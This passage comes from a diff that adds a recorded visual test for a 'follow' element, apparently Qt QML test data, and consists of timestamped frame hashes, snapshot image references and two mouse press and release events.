"324dad940b3adb54491d6cdd4e7d8aa7" + } + Frame { + msec: 1120 + hash: "0cd7c53ec5b591053de6769967b8bad5" + } + Frame { + msec: 1136 + hash: "e9e8f5e9c2dc179498943d0b5912af09" + } + Frame { + msec: 1152 + hash: "5f1552ccd61f09335a88658ee1c4e97e" + } + Frame { + msec: 1168 + hash: "866e01eed7e26dd1bd9af8aaddf4d7c0" + } + Frame { + msec: 1184 + hash: "2efba3c33c4c7b6d89ce7efca2dc516a" + } + Frame { + msec: 1200 + hash: "2de9d8a2ad64d2491b3444712be032dc" + } + Frame { + msec: 1216 + hash: "84206972322eae033d05f71b178180c9" + } + Frame { + msec: 1232 + hash: "8571d11da1a893edcbe5add1a9399d7a" + } + Frame { + msec: 1248 + hash: "c0d65ecefa77ee7cb1c08a560e3ad572" + } + Frame { + msec: 1264 + hash: "0f8a8523969713771a6c7984069b15e4" + } + Frame { + msec: 1280 + hash: "2e80e4b54538b7b586f4a3be55eb6da3" + } + Frame { + msec: 1296 + hash: "ae028381f311a60946ecd26eab95bb42" + } + Frame { + msec: 1312 + hash: "ac5902d58bc116a002c093f55cf20278" + } + Frame { + msec: 1328 + hash: "242f8617718048cfab9950b812eb1b26" + } + Frame { + msec: 1344 + hash: "b642f2f0d3161f80a702b09a910c589b" + } + Frame { + msec: 1360 + hash: "d1508034ecd908120c6f58cf08360c3c" + } + Frame { + msec: 1376 + hash: "ad10a5ea8598616f2ffa633eecfbd43a" + } + Frame { + msec: 1392 + hash: "1d2c3cfaac1cca868f31872bf4248de8" + } + Frame { + msec: 1408 + hash: "28da57a6aec84318ff6aa029ac17f1dd" + } + Frame { + msec: 1424 + hash: "6f9bf89843d5e40f6c282e69337e7d25" + } + Frame { + msec: 1440 + hash: "1c5733ad9620805127372fb76f5b0228" + } + Frame { + msec: 1456 + hash: "16f21041e9e475a37c478cf38cdc353b" + } + Frame { + msec: 1472 + hash: "b39ea2e8a1991b3ea5be818a284ff69f" + } + Frame { + msec: 1488 + hash: "4f5bdc935080707525a2b74936b41b2e" + } + Frame { + msec: 1504 + hash: "a39426dc761df1d2ba398aa17d220ded" + } + Frame { + msec: 1520 + hash: "2e965042273b377958b04190250d273e" + } + Frame { + msec: 1536 + hash: "51f021c1d50291b425c98dee4894b330" + } + Frame { + msec: 1552 + hash: "88fea2e6d6898084acb5897833adb182" + } + Frame { + msec: 1568 + hash: "12f55e64c8ec9825bf6c5cfd5d50d2bb" + } + Frame { + msec: 1584 + hash: "365b358eb7a678e1076774c36a82f452" + } + Frame { + msec: 1600 + hash: "a992b326739bff87bf042c711a7fa65c" + } + Frame { + msec: 1616 + hash: "083aa3c766a3b50492e51aab3ee128d0" + } + Frame { + msec: 1632 + hash: "16a2db3b3a773e2612bc57f7a7d7fbbe" + } + Frame { + msec: 1648 + hash: "32a28101a53d308b107d26a30ae7cdd9" + } + Frame { + msec: 1664 + hash: "da3908e584542ff2f73cb22369f49c1c" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 195; y: 95 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1680 + hash: "8ad535bb0c5decd8c970aa36286d57e7" + } + Frame { + msec: 1696 + hash: "5bfbcab7607622486c350a9117ab0884" + } + Frame { + msec: 1712 + hash: "17e13c8bfd81081f6400d3e71daecb4c" + } + Frame { + msec: 1728 + hash: "9411a66b6c3ef9a98bc62dea282d6a51" + } + Frame { + msec: 1744 + hash: "423cded80165ee13f903460e5396526b" + } + Frame { + msec: 1760 + hash: "709cc55316e6702c1359b66c06676603" + } + Frame { + msec: 1776 + hash: "27232931c000a2edb5c3d480a6692e6b" + } + Frame { + msec: 1792 + hash: "22311fd0903b53f50df824ba345ca350" + } + Frame { + msec: 1808 + hash: "9bb066e60e7e5b3eaa0a221b8ba1a431" + } + Frame { + msec: 1824 + hash: "517000255d372d384773dff8c80f5a65" + } + Frame { + msec: 1840 + hash: "329dbd77ae53ea8e4beb669a976033a8" + } + Frame { + msec: 1856 + hash: "2acd5d3e878e1db5413270c1a50ffc83" + } + Frame { + msec: 1872 + hash: "8eb5946ac5d53dfc2813d1f1c6a2b6c5" + } + Frame { + msec: 1888 + hash: "375299e5b1067e02d5de3238a37659f2" + } + Frame { + msec: 1904 + hash: "f385c90e585db5555e873996165f55af" + } + Frame { + msec: 1920 + image: "follow.1.png" + } + Frame { + msec: 1936 + hash: "6c13bb69b6483c72463437e102a9dabb" + } + Frame { + msec: 1952 + hash: "c1b5d10688681c3b2363bb6d4173deca" + } + Frame { + msec: 1968 + hash: "b434649e4c9b2c184d2f9036f9d041bf" + } + Frame { + msec: 1984 + hash: "ca32e9f9080983803bb37b7231ed1c84" + } + Frame { + msec: 2000 + hash: "976eab47b2d6445fdd8293f2c73564c1" + } + Frame { + msec: 2016 + hash: "e63daea8f3bc79cea7a6b8dcfd31a094" + } + Frame { + msec: 2032 + hash: "626cbe5e6b79f2fd0ef57c943666b571" + } + Frame { + msec: 2048 + hash: "4e07255ce12a21966eec33c0cc623d96" + } + Frame { + msec: 2064 + hash: "94045005de77725c63c62575a6b06852" + } + Frame { + msec: 2080 + hash: "3b6dcf783c5e9fe99ce3d9ca02bceff6" + } + Frame { + msec: 2096 + hash: "e901ed7e831e2d012b97b98b3ab6fa1b" + } + Frame { + msec: 2112 + hash: "74ef03f72d032daaff13114fde02b824" + } + Frame { + msec: 2128 + hash: "9eb334d7dda3801c1fe292844040e014" + } + Frame { + msec: 2144 + hash: "82bf8fb5e3a9bf167f3f00b1f6ab3c06" + } + Frame { + msec: 2160 + hash: "df3a2bc7758d00d595347e62c7e53c4a" + } + Frame { + msec: 2176 + hash: "e77ac04a6ad9f97226b45d202a0d5196" + } + Frame { + msec: 2192 + hash: "37411333a28ea840c59cabd96fd1deba" + } + Frame { + msec: 2208 + hash: "8d1eb90ffd080bcd078b69c9635108d1" + } + Frame { + msec: 2224 + hash: "68ee5d58b2edeb6b5a64a714115e4499" + } + Frame { + msec: 2240 + hash: "003ddf0a5dd3d4bb947a34bdd22ad8c1" + } + Frame { + msec: 2256 + hash: "bf3c89d0a09ed2159a78f10124f5d7bb" + } + Frame { + msec: 2272 + hash: "6ec994f41d4540db988846416c2f7b4f" + } + Frame { + msec: 2288 + hash: "9ca7e3ca6ea26e8259d34a8c0f80f7a9" + } + Frame { + msec: 2304 + hash: "edf5cea581d46400914610213c8503ea" + } + Frame { + msec: 2320 + hash: "9b96aac3f98cd37a361788be8b81e308" + } + Frame { + msec: 2336 + hash: "5d304a8398512ebc85bebf973ed6a4f4" + } + Frame { + msec: 2352 + hash: "cf2a27a395f23f7976a48d69f5e8e120" + } + Frame { + msec: 2368 + hash: "458323a37208ea14972d8f84cebc66a5" + } + Frame { + msec: 2384 + hash: "da9c8e4d168b9cd32d5ec3f5857d2942" + } + Frame { + msec: 2400 + hash: "5d6663be8e02b0a7a4701595c9c26663" + } + Frame { + msec: 2416 + hash: "4190712a39ca07f810a6d84e15488393" + } + Frame { + msec: 2432 + hash: "26b22be0a1c2fecec1e25a6513b19484" + } + Frame { + msec: 2448 + hash: "3e623bc2b9e8cec49671571291cf6afb" + } + Frame { + msec: 2464 + hash: "3e623bc2b9e8cec49671571291cf6afb" + } + Frame { + msec: 2480 + hash: "2cb2968d16323af4659b3197d391bb91" + } + Frame { + msec: 2496 + hash: "5376b1285647950428b29e75f2e27c4f" + } + Frame { + msec: 2512 + hash: "baaacc3940c8d36f715d90e046346bed" + } + Frame { + msec: 2528 + hash: "277719afea4c119f17c34c59ef0b7984" + } + Frame { + msec: 2544 + hash: "00a172ff8afd1e8444fb84249a3af0fd" + } + Frame { + msec: 2560 + hash: "bf8a0f939a5602a0a9f5a3bc7c8d0d86" + } + Frame { + msec: 2576 + hash: "b22860751790b3113b2cb299c9f628b8" + } + Frame { + msec: 2592 + hash: "fdda1e520457974443720bd44f21d929" + } + Frame { + msec: 2608 + hash: "538af31f9463cd07163d54adc2721345" + } + Frame { + msec: 2624 + hash: "2ca50398746c8fb1c936fd412c7556b4" + } + Frame { + msec: 2640 + hash: "63cd898c3e22a29846489e5c47f455a1" + } + Frame { + msec: 2656 + hash: "1e69cc765c3f2c27c2b6e7f3e47f515a" + } + Frame { + msec: 2672 + hash: "9d7ce0df7bee9a387917ef228fd50652" + } + Frame { + msec: 2688 + hash: "afa0b735a9dd0734362b3f3f7d7177c3" + } + Frame { + msec: 2704 + hash: "91bee07133319a0adbf9a31c430e58ad" + } + Frame { + msec: 2720 + hash: "6aee88b6391e524bafc15524825ada74" + } + Frame { + msec: 2736 + hash: "655ce421faa628b3389f084fe675ad53" + } + Frame { + msec: 2752 + hash: "367fd34b54f12e896839b0ef4fb06925" + } + Frame { + msec: 2768 + hash: "0b3ac04504bfe876c4338a4dc3721280" + } + Frame { + msec: 2784 + hash: "c6cdb77888f1a3cbfe4cfec28bfad12d" + } + Frame { + msec: 2800 + hash: "ef01302544f4da4575035d3e4f2443c9" + } + Frame { + msec: 2816 + hash: "53f01d26a75f7e91d14b8975c81638d5" + } + Frame { + msec: 2832 + hash: "10fc7b3f7e5dff21edef4123d252cba0" + } + Frame { + msec: 2848 + hash: "10fc7b3f7e5dff21edef4123d252cba0" + } + Frame { + msec: 2864 + hash: "10fc7b3f7e5dff21edef4123d252cba0" + } + Frame { + msec: 2880 + image: "follow.2.png" + } + Frame { + msec: 2896 + hash: "143970d31598c017d7f24e8b09fd0f0a" + } + Frame { + msec: 2912 + hash: "fc6c38bfdcd2df7a928e83d57dc0b18d" + } + Frame { + msec: 2928 + hash: "647c09aae23ea5ec7979775d3022cacf" + } + Frame { + msec: 2944 + hash: "f1ed5cd564be1eed3242997c14a99887" + } + Frame { + msec: 2960 + hash: "aec3d7f18d6c4002229ef1d36727c4b0" + } + Frame { + msec: 2976 + hash: "3552e5a3923593a2c66ecd5e2cb2ee25" + } + Frame { + msec: 2992 + hash: "55a72327b726a3c75383cc5a28ba9503" + } + Frame { + msec: 3008 + hash: "c25ff06944f8c92006245452e07215ef" + } + Frame { + msec: 3024 + hash: "cc0187a10a7ccf087838a481f667af6e" + } + Frame { + msec: 3040 + hash: "ae9d7ff04066eb998d052c2e21b58327" + } + Frame { + msec: 3056 + hash: "91707fa1aaa267e6d1d56d173a063bde" + } + Frame { + msec: 3072 + hash: "c076a33b8afcaf915387375f065e49df" + } + Frame { + msec: 3088 + hash: "c24390ec788b5f34356e7a6507507a93" + } + Frame { + msec: 3104 + hash: "e42c9800379de3076d00802c68cc99e8" + } + Frame { + msec: 3120 + hash: "a2d3ba5353b1c967da93d96b61f7927f" + } + Frame { + msec: 3136 + hash: "fe719953aa3468d373801bb80ae93eff" + } + Frame { + msec: 3152 + hash: "e89b9bed1ebc7ebdd37d6975ecb0601c" + } + Frame { + msec: 3168 + hash: "7f3d84f49a7dd4fe39a1ba0ed7f5da3e" + } + Frame { + msec: 3184 + hash: "b16c9e05f72e7c8fa59f80422b987600" + } + Frame { + msec: 3200 + hash: "bd0606da0f7bc6c47a361462b3b2dede" + } + Frame { + msec: 3216 + hash: "88f81db6d705b745c4d2ffe470cb6966" + } + Frame { + msec: 3232 + hash: "4ac6769d3f725720bba6c125b43885cd" + } + Frame { + msec: 3248 + hash: "4ac6769d3f725720bba6c125b43885cd" + } + Frame { + msec: 3264 + hash: "4ac6769d3f725720bba6c125b43885cd" + } + Frame { + msec: 3280 + hash: "4ac6769d3f725720bba6c125b43885cd" + } + Frame { + msec: 3296 + hash: "88f81db6d705b745c4d2ffe470cb6966" + } + Frame { + msec: 3312 + hash: "88f81db6d705b745c4d2ffe470cb6966" + } + Frame { + msec: 3328 + hash: "1f112ff43280a208e967e373db8e3f34" + } + Frame { + msec: 3344 + hash: "6d966dafdfd2cf1927c14f749e24a99c" + } + Frame { + msec: 3360 + hash: "8ab4ce88e52d7cd2ec9059cdb973590d" + } + Frame { + msec: 3376 + hash: "62d877f18b8d3fcf6b076946f2ce05f7" + } + Frame { + msec: 3392 + hash: "efe3729cdeddc4bcee105b27e4062dcd" + } + Frame { + msec: 3408 + hash: "a2eb63f12d434925d0780f4992155556" + } + Frame { + msec: 3424 + hash: "5eee7ec87bb399e1395a8d337ede021b" + } + Frame { + msec: 3440 + hash: "59769ae407be01b016df8d7fbf484243" + } + Frame { + msec: 3456 + hash: "bbadb689ec5b76f76340905252b2376a" + } + Frame { + msec: 3472 + hash: "97cd4f34259ac8370e8557ef3ecf5a96" + } + Frame { + msec: 3488 + hash: "17c1513fe4c0132e15355378c6a6ee11" + } + Frame { + msec: 3504 + hash: "7b19041638fc7d1cf60512f579f388dd" + } + Frame { + msec: 3520 + hash: "4d23bbf68cb8b32638b73ac20551ee50" + } + Frame { + msec: 3536 + hash: "3f0326db5a851887a534e80cc29dc21d" + } + Frame { + msec: 3552 + hash: "df5902d22a31c4deac1428d2758a0ffa" + } + Frame { + msec: 3568 + hash: "21badb1464775fa935c2619b91aa6e6e" + } + Frame { + msec: 3584 + hash: "e8cf87f4a65f6915addc16de29c90108" + } + Frame { + msec: 3600 + hash: "d3d4487b887695b7bba8e0af7756a0f8" + } + Frame { + msec: 3616 + hash: "d7f52590e4f51621ad2d62c975a5d1ef" + } + Frame { + msec: 3632 + hash: "9ebdc2b3ef05748e2cc8988f968f7a37" + } + Frame { + msec: 3648 + hash: "74bb7974f9315e70e976c21955390b9e" + } + Frame { + msec: 3664 + hash: "59e16a89e523160f2a482c22f003f87f" + } + Frame { + msec: 3680 + hash: "d8284c216df0fdd37525f26b88707572" + } + Frame { + msec: 3696 + hash: "d8711b4444eea59acc544652cea3c4ce" + } + Frame { + msec: 3712 + hash: "12148c3f2b5f41a4ac4801e990b20114" + } + Frame { + msec: 3728 + hash: "34429cbdfe581a524b1f9072cc404539" + } + Frame { + msec: 3744 + hash: "1f6a17b91d73e10bcbdd166d97546822" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 195; y: 95 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3760 + hash: "bccd4f135f27199b3a710576e0013c53" + } + Frame { + msec: 3776 + hash: "6aa4db9ecb8fa4ad4d4f81434c369759" + } + Frame { + msec: 3792 + hash: "a7f2951411d8f5322ce91b3da7e86d64" + } + Frame { + msec: 3808 + hash: "25fe19f3398d3d1a74ad8ed4114149d7" + } + Frame { + msec: 3824 + hash: "05c3dae68897a461de2923824bef9390" + } + Frame { + msec: 3840 + image: "follow.3.png" + } + Frame { + msec: 3856 + hash: "db6265c30dd614720d1532ffc411a28f" + } + Frame { + msec: 3872 + hash: "f5de8e4ba755bc0a1e4c3f36ed3e6a93" + } + Frame { + msec: 3888 + hash: "ad68229e5fe9a2570074648005c5e5df" + } + Frame { + msec: 3904 + hash: "02d894680766289fe659a86b02d6c9ca" + } + Frame { + msec: 3920 + hash: "4f228534dd909207e8d149c74bd8fd90" + } + Frame { + msec: 3936 + hash: "f0b5c64f6a50e156452caf6a352c11e1" + } + Frame { + msec: 3952 + hash: "64d46ff443534dbdb3cca88b7fc3e758" + } + Frame { + msec: 3968 + hash: "717ad4b8012a21c6ed38dee5ea978f36" + } + Frame { + msec: 3984 + hash: "ed38c7b528bcbb3e291761104bf1e86e" + } + Frame { + msec: 4000 + hash: "8cc8674d325a2c72c41654ffbe5bce1f" + } + Frame { + msec: 4016 + hash: "ab66dd60cc0e58d23bef5c709fe901ad" + } + Frame { + msec: 4032 + hash: "b3b824cae4ddaac4a224e84f0e282fa4" + } + Frame { + msec: 4048 + hash: "ead7fe4bec7987c24c305e114797284c" + } + Frame { + msec: 4064 + hash: "e5e9501f1ca61ea9f99aadfc5ca02214" + } + Frame { + msec: 4080 + hash: "f74a00eb31e1604f13a6ffb29fbd91b7" + } + Frame { + msec: 4096 + hash: "539aca62492408ccc1815c67b55cb399" + } + Frame { + msec: 4112 + hash: "4f548ad0eb7c4ce88a777e3b7ce2d3a8" + } + Frame { + msec: 4128 + hash: "b0190c5ed53ff812988dd7a2152ffa61" + } + Frame { + msec: 4144 + hash: "48214bdfbdcba256043e2cec7f5e321b" + } + Frame { + msec: 4160 + hash: "952614329111d1d83b0304aa919af177" + } + Frame { + msec: 4176 + hash: "fd874a73062dedfe7b904ad4c9fbcbc9" + } + Frame { + msec: 4192 + hash: "365b9a18cf37521718ef98589ac23933" + } + Frame { + msec: 4208 + hash: "32bbbf93d78925ef12f830386f0dbe2b" + } + Frame { + msec: 4224 + hash: "835d391a498b7d470b317e91453ba2f9" + } + Frame { + msec: 4240 + hash: "07d0cd82a39bfea2567587745f1e330d" + } + Frame { + msec: 4256 + hash: "9560a63581007038e1c463b906a4b346" + } + Frame { + msec: 4272 + hash: "076d25daafe8b582aeff39e247653285" + } + Frame { + msec: 4288 + hash: "f2e66dad3231250b951388396705c839" + } + Frame { + msec: 4304 + hash: "f168773343e928b60aad5430b9ca739d" + } + Frame { + msec: 4320 + hash: "99ed4dc4be1a0e8d98e1a54d51208da3" + } + Frame { + msec: 4336 + hash: "23b3e73a966f52ce6166bc91955570a1" + } + Frame { + msec: 4352 + hash: "00cdb999f3d2c6fcad708c37c3059c3d" + } + Frame { + msec: 4368 + hash: "96f1bef93ba1768afcc42924145d49ff" + } + Frame { + msec: 4384 + hash: "0a76f6d5ec710e4046f32f76be8e0d68" + } + Frame { + msec: 4400 + hash: "98f97a6c7eac1a493e81e79956177668" + } + Frame { + msec: 4416 + hash: "9424ca6ba64d0d0c0bd1ee9da1b5085a" + } + Frame { + msec: 4432 + hash: "2049a22079ac590aad3c9f6496879bcb" + } + Frame { + msec: 4448 + hash: "f70f9f6bd3abf3bdcb70038cda5ed311" + } + Frame { + msec: 4464 + hash: "48d6d01e1d80fea8eb05572ca26b692c" + } + Frame { + msec: 4480 + hash: "af152dc6de929a8231687611cc301f28" + } + Frame { + msec: 4496 + hash: "2ec869cd61570b570586870f80ba3832" + } + Frame { + msec: 4512 + hash: "42be0431c015dcd0f5f6dd59ba7c2d7d" + } + Frame { + msec: 4528 + hash: "abc112f396c5e504a19dce255437720c" + } + Frame { + msec: 4544 + hash: "a371c4f49af16bdacc5ab5abbfc99e99" + } + Frame { + msec: 4560 + hash: "1ebfd139bfabbbaf522acd63e3f47462" + } + Frame { + msec: 4576 + hash: "b36086718a3dd89500adbf67aa7b0f1d" + } + Frame { + msec: 4592 + hash: "e3ea2ad4955cb2ab8d503b331b3594c3" + } + Frame { + msec: 4608 + hash: "4214c9f474d7f11bed74e32f5b3a0e9f" + } + Frame { + msec: 4624 + hash: "f290e1dbf13ae399a2644eea3715804a" + } + Frame { + msec: 4640 + hash: "6538c60446e3303dc1126c3c9c47ae42" + } + Frame { + msec: 4656 + hash: "5319667f181eb5647710ccc6eddf43c9" + } + Frame { + msec: 4672 + hash: "b98b68ea99d5a107115b50c32aa45c35" + } + Frame { + msec: 4688 + hash: "2cc38e2915f77a46082c32c9393ae0c5" + } + Frame { + msec: 4704 + hash: "40c695b17834cbba86d4dde0729f620b" + } + Frame { + msec: 4720 + hash: "e8d5a95cfc726ce2626951ef1c68a948" + } + Frame { + msec: 4736 + hash: "ab96c1668890ceffba74219d83e15e99" + } + Frame { + msec: 4752 + hash: "4d69a73b3940911940b419028dabd223" + } + Frame { + msec: 4768 + hash: "281043e3c045df177cbfae1abf51a8d1" + } + Frame { + msec: 4784 + hash: "8adf6d8154d7950efe6b5bd7e2b760b6" + } + Frame { + msec: 4800 + image: "follow.4.png" + } + Frame { + msec: 4816 + hash: "7fba4249c76b7f81c2b88cf906ce8ce6" + } + Frame { + msec: 4832 + hash: "50b3c89d4d783469843b3acacb9690dd" + } + Frame { + msec: 4848 + hash: "29f950ab7e6299036e78c8f37d114990" + } + Frame { + msec: 4864 + hash: "3f8aecc5453406c9d8160eeb9691ed91" + } + Frame { + msec: 4880 + hash: "ad7ff48fed4ca9e236271d169c3bf696" + } + Frame { + msec: 4896 + hash: "2a2f872e4ef5c062a61fb59238df8794" + } + Frame { + msec: 4912 + hash: "87cf2e21d7e56a82437a8ff3fa2bdc8c" + } + Frame { + msec: 4928 + hash: "c3b04bb24d86d2aebd8fde7845f114cf" + } + Frame { + msec: 4944 + hash: "3ad95d59a1f1841e3ff2324055ca23c0" + } + Frame { + msec: 4960 + hash: "b91068fdce1fb2be9a64902a3dfa6b0d" + } + Frame { + msec: 4976 + hash: "30f0118eb0bba40927a8038da03b652b" + } + Frame { + msec: 4992 + hash: "ce5f3d15d3536be16b960f02a7335b99" + } + Frame { + msec: 5008 + hash: "85b853c3f48b915ed6e80815709e8ac2" + } + Frame { + msec: 5024 + hash: "c3511a76aa6dc2f1422a473ca4d80d0f" + } + Frame { + msec: 5040 + hash: "deb1df70b4e1801c635356c65c0a5a46" + } + Frame { + msec: 5056 + hash: "d04983df9b0ffc45e629af55a8e5cc95" + } + Frame { + msec: 5072 + hash: "2a55c97509819657f5f8604d4789d9d4" + } + Frame { + msec: 5088 + hash: "94589d594fa2e5ed621459ec2c8bd7e8" + } + Frame { + msec: 5104 + hash: "a8a1bd7c15a5bdfe15d6580d719bdba6" + } + Frame { + msec: 5120 + hash: "b4e1a4b1b649820be217c46b5086c8a4" + } + Frame { + msec: 5136 + hash: "4de7d7ce85717eb9a67c61745ea26c0a" + } + Frame { + msec: 5152 + hash: "c8ee53b7e659e10c7dbcf44e1a45f794" + } + Frame { + msec: 5168 + hash: "f46ce03bc5a932c39862577c5a5cd24c" + } + Frame { + msec: 5184 + hash: "d417370ed6fb99ccfa443eb97e6de331" + } + Frame { + msec: 5200 + hash: "336af06572992960c829d4a209048263" + } + Frame { + msec: 5216 + hash: "4066e8eef292abf9b58bc89b4b5f3ce9" + } + Frame { + msec: 5232 + hash: "360f037a02bf4a337b278886266ff2f1" + } + Frame { + msec: 5248 + hash: "79e9f387b0ce164057640c0caab8d10d" + } + Frame { + msec: 5264 + hash: "ee8741d1810303cfe5ecff39c7d52fdd" + } + Frame { + msec: 5280 + hash: "4cba1c857f0af49d7fe68584f99c89d7" + } + Frame { + msec: 5296 + hash: "c0ae482a2fbb9f15a2c2ff631cc85c2c" + } + Frame { + msec: 5312 + hash: "3b6bf6d6a0aeebdc92eff4e336fd3b6e" + } + Frame { + msec: 5328 + hash: "43033eb8aeba6b49c135a1702f6b8f47" + } + Frame { + msec: 5344 + hash: "1319c7e3a84484723891ee43a80bc765" + } + Frame { + msec: 5360 + hash: "838ec693c923565d77b060f262beb1e8" + } + Frame { + msec: 5376 + hash: "74306669836425de03cec617d4ed849a" + } + Frame { + msec: 5392 + hash: "c063f4951755c8939399d0d560a0f762" + } + Frame { + msec: 5408 + hash: "512c739e0ff25f7d6b983a193f7fc2c3" + } + Frame { + msec: 5424 + hash: "6c5f69cc2ce2992fd2ecb0ea3691e2b8" + } + Frame { + msec: 5440 + hash: "f5dbc5ce0ba00eafb9379ee86de67150" + } + Frame { + msec: 5456 + hash: "f62bb7d8d9749272ca3e2bd1931598fb" + } + Frame { + msec: 5472 + hash: "052fdac05286edcdd7fcd4d6d9582f39" + } + Frame { + msec: 5488 + hash: "ac4702306e5be156fe7b069cb90e1038" + } + Frame { + msec: 5504 + hash: "127e94c79f4d33e5f223a0853629245f" + } + Frame { + msec: 5520 + hash: "dd77216b0a90c46dd5c264d38ab0fd74" + } + Frame { + msec: 5536 + hash: "a4e50b39aa367d4cd7650d088d186856" + } + Frame { + msec: 5552 + hash: "6e14946b9b23f0fc137bd61c02af1ca5" + } + Frame { + msec: 5568 + hash: "8c550d5e4cfbcee2c7bd6c20dba53f41" + } + Frame { + msec: 5584 + hash: "9f2385fb614bdaafe022712148f786d2" + } + Frame { + msec: 5600 + hash: "c87903c96ae5a4b91c5bda524bfd4a4f" + } + Frame { + msec: 5616 + hash: "9a98de9b4237b7c0ccb4468344d410bc" + } + Frame { + msec: 5632 + hash: "7ff448f395ff50cde1f6e6cfaf0c1541" + } + Frame { + msec: 5648 + hash: "ab7a6998a5b26e3d58bd1d0a949f3709" + } + Frame { + msec: 5664 + hash: "ab7a6998a5b26e3d58bd1d0a949f3709" + } + Frame { + msec: 5680 + hash: "2e1b5636ab75af91bd5b0d48c04828f5" + } + Frame { + msec: 5696 + hash: "0976b605c78f6f8512acdfb61b9d123a" + } + Frame { + msec: 5712 + hash: "bb816bfd8bd3972c80c3a76c9ddf785e" + } + Frame { + msec: 5728 + hash: "c3518990fc7aa5660a9e86034cf4c46f" + } + Frame { + msec: 5744 + hash: "b27230d8aeb214e18b43de167213ef7b" + } + Frame { + msec: 5760 + image: "follow.5.png" + } + Frame { + msec: 5776 + hash: "fc55f00ae456c2687ed05ab4b6906a33" + } + Frame { + msec: 5792 + hash: "50051a48d1fae3bc9c9d1f0a964d9561" + } + Frame { + msec: 5808 + hash: "279a38d7261241c744c2317ea9843567" + } + Frame { + msec: 5824 + hash: "0b3ed3960713dbda36326b7de492c42e" + } + Frame { + msec: 5840 + hash: "fff5737541317406c4a0ef06f1cdc041" + } + Frame { + msec: 5856 + hash: "47aef0d79da45139a3981a75290cc9b8" + } + Frame { + msec: 5872 + hash: "d79f9f9371c76a855ea4f2cdeed97acd" + } + Frame { + msec: 5888 + hash: "66610a0d5b926d419da26e20b04b55a5" + } + Frame { + msec: 5904 + hash: "9891ad954da8535b44cc234bb2588f30" + } + Frame { + msec: 5920 + hash: "b53056146701fae1598ab49e6399db01" + } + Frame { + msec: 5936 + hash: "064799027a3f60458a3797c6c87d3e29" + } + Frame { + msec: 5952 + hash: "81ad252f10e6f8f2a08e7df1d25e8a47" + } + Frame { + msec: 5968 + hash: "09fbd923da02844f50ad25059f82560c" + } + Frame { + msec: 5984 + hash: "f41d8370afdce8a154ab42204ca8d92d" + } + Frame { + msec: 6000 + hash: "748b2d020c28b3ac36b08377b4a2544b" + } + Frame { + msec: 6016 + hash: "748b2d020c28b3ac36b08377b4a2544b" + } + Frame { + msec: 6032 + hash: "d8c02a54c0d1df20127025d547c741af" + } + Frame { + msec: 6048 + hash: "d8c02a54c0d1df20127025d547c741af" + } + Frame { + msec: 6064 + hash: "d7fd0dab22fec0f68ed01cfd6d32e7f5" + } + Frame { + msec: 6080 + hash: "f0b035eda10c07f5c3c825784ad96437" + } + Frame { + msec: 6096 + hash: "54b83800f8a01e1a4d57b8b1d371fb09" + } + Frame { + msec: 6112 + hash: "19ad51c31e9cfdb314c76f323574806c" + } + Frame { + msec: 6128 + hash: "dcf269a115781eb4df232a527de87a87" + } + Frame { + msec: 6144 + hash: "95053206702a6118c23b541ff7fbef0d" + } + Frame { + msec: 6160 + hash: "933a158398ee746c0465c2e7af9b6b4d" + } + Frame { + msec: 6176 + hash: "ade4a4aa03f5787dce1331ed27ff9c6e" + } + Frame { + msec: 6192 + hash: "9ecc7d4cb5cf0dd815e208e13e2c932a" + } + Frame { + msec: 6208 + hash: "98e40cba2e717e57a5dcd3413e166f65" + } + Frame { + msec: 6224 + hash: "f68f45b71f6d596eaa76fa2bc46cfe1b" + } + Frame { + msec: 6240 + hash: "9230c9b1013b83b073ccb90d2633043f" + } + Frame { + msec: 6256 + hash: "5d0fc4842b75703d29816fa0330624ba" + } + Frame { + msec: 6272 + hash: "5d0fc4842b75703d29816fa0330624ba" + } + Frame { + msec: 6288 + hash: "5d0fc4842b75703d29816fa0330624ba" + } + Frame { + msec: 6304 + hash: "96008d5b8446f67e07129d02300d122d" + } + Frame { + msec: 6320 + hash: "96008d5b8446f67e07129d02300d122d" + } + Frame { + msec: 6336 + hash: "96008d5b8446f67e07129d02300d122d" + } + Frame { + msec: 6352 + hash: "96008d5b8446f67e07129d02300d122d" + } + Frame { + msec: 6368 + hash: "96008d5b8446f67e07129d02300d122d" + } + Frame { + msec: 6384 + hash: "478be760047d33bd66017bdd304ff3ae" + } + Frame { + msec: 6400 + hash: "478be760047d33bd66017bdd304ff3ae" + } + Frame { + msec: 6416 + hash: "478be760047d33bd66017bdd304ff3ae" + } + Frame { + msec: 6432 + hash: "478be760047d33bd66017bdd304ff3ae" + } + Frame { + msec: 6448 + hash: "478be760047d33bd66017bdd304ff3ae" + } + Frame { + msec: 6464 + hash: "8ff11dfe2642dc099c240e8aef8285df" + } + Frame { + msec: 6480 + hash: "8ff11dfe2642dc099c240e8aef8285df" + } + Frame { + msec: 6496 + hash: "8ff11dfe2642dc099c240e8aef8285df" + } + Frame { + msec: 6512 + hash: "8ff11dfe2642dc099c240e8aef8285df" + } + Frame { + msec: 6528 + hash: "8ff11dfe2642dc099c240e8aef8285df" + } + Frame { + msec: 6544 + hash: "8ff11dfe2642dc099c240e8aef8285df" + } + Frame { + msec: 6560 + hash: "8ff11dfe2642dc099c240e8aef8285df" + } + Frame { + msec: 6576 + hash: "8ff11dfe2642dc099c240e8aef8285df" + } + Frame { + msec: 6592 + hash: "8ff11dfe2642dc099c240e8aef8285df" + } + Frame { + msec: 6608 + hash: "8ff11dfe2642dc099c240e8aef8285df" + } + Frame { + msec: 6624 + hash: "8ff11dfe2642dc099c240e8aef8285df" + } + Frame { + msec: 6640 + hash: "8ff11dfe2642dc099c240e8aef8285df" + } + Frame { + msec: 6656 + hash: "8ff11dfe2642dc099c240e8aef8285df" + } + Frame { + msec: 6672 + hash: "8ff11dfe2642dc099c240e8aef8285df" + } + Frame { + msec: 6688 + hash: "8ff11dfe2642dc099c240e8aef8285df" + } + Frame { + msec: 6704 + hash: "01ac8ff953f8f83c6fa2252fe6ff6698" + } + Frame { + msec: 6720 + image: "follow.6.png" + } + Frame { + msec: 6736 + hash: "01ac8ff953f8f83c6fa2252fe6ff6698" + } + Frame { + msec: 6752 + hash: "01ac8ff953f8f83c6fa2252fe6ff6698" + } + Frame { + msec: 6768 + hash: "01ac8ff953f8f83c6fa2252fe6ff6698" + } + Frame { + msec: 6784 + hash: "01ac8ff953f8f83c6fa2252fe6ff6698" + } + Frame { + msec: 6800 + hash: 